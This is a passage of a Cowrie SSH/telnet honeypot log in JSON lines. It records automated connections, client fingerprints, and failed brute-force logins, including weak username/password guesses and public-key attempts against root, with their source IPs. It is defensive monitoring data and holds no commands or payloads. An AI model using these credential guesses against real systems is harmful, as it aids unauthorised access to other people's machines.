mac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:57.045042Z","src_ip":"119.28.114.76","session":"427f6281f640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:57.640992Z","src_ip":"45.156.87.204","session":"2251430ec3af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo1234","message":"login attempt [demo/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:58.025289Z","src_ip":"119.28.114.76","session":"427f6281f640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:59.268394Z","src_ip":"119.28.114.76","session":"427f6281f640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39830,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fdbd8819dbf","protocol":"ssh","message":"New connection: 45.156.87.204:39830 (159.203.135.109:22) [session: 4fdbd8819dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:59.778008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:59.783410Z","src_ip":"45.156.87.204","session":"4fdbd8819dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:59.866235Z","src_ip":"45.156.87.204","session":"4fdbd8819dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:00.113405Z","src_ip":"45.156.87.204","session":"4fdbd8819dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:01.209095Z","src_ip":"45.156.87.204","session":"4fdbd8819dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.007014751434326,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:01.779985Z","src_ip":"152.42.224.71","session":"ee897d4d1571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":43776,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e6b2a566a31","protocol":"ssh","message":"New connection: 42.200.78.78:43776 (159.203.135.109:22) [session: 2e6b2a566a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:03.237685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:03.247317Z","src_ip":"42.200.78.78","session":"2e6b2a566a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:03.460057Z","src_ip":"42.200.78.78","session":"2e6b2a566a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55476,"dst_ip":"159.203.135.109","dst_port":22,"session":"75d971e2fea4","protocol":"ssh","message":"New connection: 45.156.87.204:55476 (159.203.135.109:22) [session: 75d971e2fea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:03.703222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:03.715530Z","src_ip":"45.156.87.204","session":"75d971e2fea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:03.797095Z","src_ip":"45.156.87.204","session":"75d971e2fea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:04.123588Z","src_ip":"45.156.87.204","session":"75d971e2fea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cx123456","message":"login attempt [root/Cx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:04.338547Z","src_ip":"42.200.78.78","session":"2e6b2a566a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00232768058777,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:04.366343Z","src_ip":"152.42.224.71","session":"e89e81c737db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.26.161","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63f693fd91a","protocol":"telnet","message":"New connection: 50.116.26.161:55522 (10.17.0.5:23) [session: c63f693fd91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:04.778084Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:05.209161Z","src_ip":"45.156.87.204","session":"75d971e2fea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:05.552338Z","src_ip":"42.200.78.78","session":"2e6b2a566a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.63130760192871,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:07.292690Z","src_ip":"152.42.224.71","session":"226098762ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"912998884b7a","protocol":"ssh","message":"New connection: 45.156.87.204:55486 (159.203.135.109:22) [session: 912998884b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:07.347967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:07.353389Z","src_ip":"45.156.87.204","session":"912998884b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:07.436076Z","src_ip":"45.156.87.204","session":"912998884b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:07.691695Z","src_ip":"45.156.87.204","session":"912998884b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.34883713722229,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.126787Z","src_ip":"50.116.26.161","session":"c63f693fd91a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.145.209","src_port":57672,"dst_ip":"10.17.0.5","dst_port":22,"session":"676878b08cba","protocol":"ssh","message":"New connection: 217.154.145.209:57672 (10.17.0.5:22) [session: 676878b08cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.396761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.400750Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.503339Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.776106Z","src_ip":"45.156.87.204","session":"912998884b7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:8b:e4:6b:dc:a2:01:17:c1:ee:7b:68:b8:b9:83:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQRmJMk3qcbDhK300b/JyxmshsAniJeVk/evADvrQuQK52fIJmrGxMA5fzNDiGBpY51BnLR9RPPRmUQIknTAwpTNNMs323Mtuc4fcS2IKbnIGpsudj96730AFhxXuPh7KhUNkHJ4joKbrgSHZsRMH+5zLcqN7Ea54DaENLeFMfyDB/H2nkCkavBfBkUe5M+KljWMgqeCb33zLy0TPBhw1tIIHVX+9e/Xukk0ea83IF/N2UFuBDYKHssMQX90IJvPKFKHMxg6y1RMr70qKsjMdcERSzgZQcJ7Qm05Dsv/Pr3t8MO3g5iV9ocg27izuf1q3CPIO8xJ9tsRxMEjVtHO85","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:8b:e4:6b:dc:a2:01:17:c1:ee:7b:68:b8:b9:83:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.989409Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:8b:e4:6b:dc:a2:01:17:c1:ee:7b:68:b8:b9:83:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQRmJMk3qcbDhK300b/JyxmshsAniJeVk/evADvrQuQK52fIJmrGxMA5fzNDiGBpY51BnLR9RPPRmUQIknTAwpTNNMs323Mtuc4fcS2IKbnIGpsudj96730AFhxXuPh7KhUNkHJ4joKbrgSHZsRMH+5zLcqN7Ea54DaENLeFMfyDB/H2nkCkavBfBkUe5M+KljWMgqeCb33zLy0TPBhw1tIIHVX+9e/Xukk0ea83IF/N2UFuBDYKHssMQX90IJvPKFKHMxg6y1RMr70qKsjMdcERSzgZQcJ7Qm05Dsv/Pr3t8MO3g5iV9ocg27izuf1q3CPIO8xJ9tsRxMEjVtHO85","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:08.993158Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:5f:5b:c9:d0:7c:25:2a:37:1f:88:57:29:09:0c:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYtP7mZKFaVbj9LJzMHhDEcTQZgLHVkYgjCY+/NYk9AfS8R8tQg2p5Y7EJZERb3gwzEOCdbfpMW/gFHOlXbwp10eSOYnRpzuBf5WvlnxH89b8IxgRZF7U9g26LGjQdGvA3tuXHtEIbGxfrKFcnLViX2r2CvzCQ+1cukT3+Ud5007DaC9TCGmAr2Ylv7bp+EVp5F+lnN4WeyMYFsBkLw6vLA9LOzoD5ejL43FyJ6KVfo6aZHSy+gLblBU/BVrqAAlknyQ/Ht1dLGKHBLo1cN0CZJPFU8rqRMZEXI1Mp3fCyJ2ujayAixrAj2FJwyR6rGhmBgmRzQ2lqIMOgGjhaL7Q1hetQpY2NEcJ/hGCTtOtCEN9nLmHlakRa6UTme1rpS98icOLREQPkUgS5tmAxkq4XkxznODKdN06xMWveKPsuJwWyrXmYoCzUfU7qpKHkGEU+V40wUWDarjEQSSBRevB8uyjFGxeWQIq4uAdL45fjzsbftK3Pb8V1pOFo/WTgKQxMhcZ5pakZYwYD8gZf6+4B/xO8z/+SjIbMEEfG410kyyAR+FXiDjokYUCm9A6Wu62BsG0FnrVf7KP+ovoq57QEvf2isYY3kxHzJpUm+SDY8/M5gnYEyjLZyAgol/DgDBJN8SoIQo6QebwKURvyLwHsG39uqnrnyMVwJpmqOALB6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:5f:5b:c9:d0:7c:25:2a:37:1f:88:57:29:09:0c:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.095427Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:5f:5b:c9:d0:7c:25:2a:37:1f:88:57:29:09:0c:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYtP7mZKFaVbj9LJzMHhDEcTQZgLHVkYgjCY+/NYk9AfS8R8tQg2p5Y7EJZERb3gwzEOCdbfpMW/gFHOlXbwp10eSOYnRpzuBf5WvlnxH89b8IxgRZF7U9g26LGjQdGvA3tuXHtEIbGxfrKFcnLViX2r2CvzCQ+1cukT3+Ud5007DaC9TCGmAr2Ylv7bp+EVp5F+lnN4WeyMYFsBkLw6vLA9LOzoD5ejL43FyJ6KVfo6aZHSy+gLblBU/BVrqAAlknyQ/Ht1dLGKHBLo1cN0CZJPFU8rqRMZEXI1Mp3fCyJ2ujayAixrAj2FJwyR6rGhmBgmRzQ2lqIMOgGjhaL7Q1hetQpY2NEcJ/hGCTtOtCEN9nLmHlakRa6UTme1rpS98icOLREQPkUgS5tmAxkq4XkxznODKdN06xMWveKPsuJwWyrXmYoCzUfU7qpKHkGEU+V40wUWDarjEQSSBRevB8uyjFGxeWQIq4uAdL45fjzsbftK3Pb8V1pOFo/WTgKQxMhcZ5pakZYwYD8gZf6+4B/xO8z/+SjIbMEEfG410kyyAR+FXiDjokYUCm9A6Wu62BsG0FnrVf7KP+ovoq57QEvf2isYY3kxHzJpUm+SDY8/M5gnYEyjLZyAgol/DgDBJN8SoIQo6QebwKURvyLwHsG39uqnrnyMVwJpmqOALB6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.099466Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:31:31:29:00:d0:9d:27:5b:c8:e3:30:ed:4c:8a:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYZ0Ewvr3hGZ6iKuxQMU333MA+V7e/T4/zGG+tDzcJ+G7GYrzbW8VBAiDcbdWNcljZAL92pk5HYifBcOloNeTbtcN9W1GH2YlXJe/5Z9u+F8gmCij1yk8PM4j4UCNTBtWTq7jO2bFVPS6IEt5DFQY8x46n7pzDJwh709pDsNhVDxvhzgJljK7n+GZZTMP9QwzFA6G6j2U3daf93ExCRyMRjKgt3tdmf3b2xCgsIIcb5ATfA6bThfibvcf5RHIIDz4KfT0kAxn9UbL0T4ARa7TGsG4tYPcH7P/SvkudHBf4COo/lp3cxTf3KJhUAEiOUqmBVAH6gvDnT+pmo90/2Qj8da/dlrjvRF9gyk8JtDZEHJ6EO5StnXnLqKUDu8zIreNly7lOmWj8e74XyGgK7Ze5ljFPQgqc/wo9xtuWEPhFCRnbJ+jsZrdVtiIkMtZja5TknwFpiLsnpgo1AWbIuE5/bmHNkjd6HI20Neo7gDyppe+N4Rhbe9IODHS7apfbosQI8R89RUzE2KfwXihSkJvYiCXNzk9xu6437U71fbsAECLi9J/6c34XsVhrt0sVfaJIaX+kgR1KqrVr1JsCpIGMhyMlcytk1GFTGK0GAjyh6LOi8DyxaN6AuOGI9g4F5Y/VTa3LzpgKJhSJ60qSCkNztz6tlpcZB5rc7odwDM39vQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:31:31:29:00:d0:9d:27:5b:c8:e3:30:ed:4c:8a:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.202437Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:31:31:29:00:d0:9d:27:5b:c8:e3:30:ed:4c:8a:87","key":"ssh-rsa 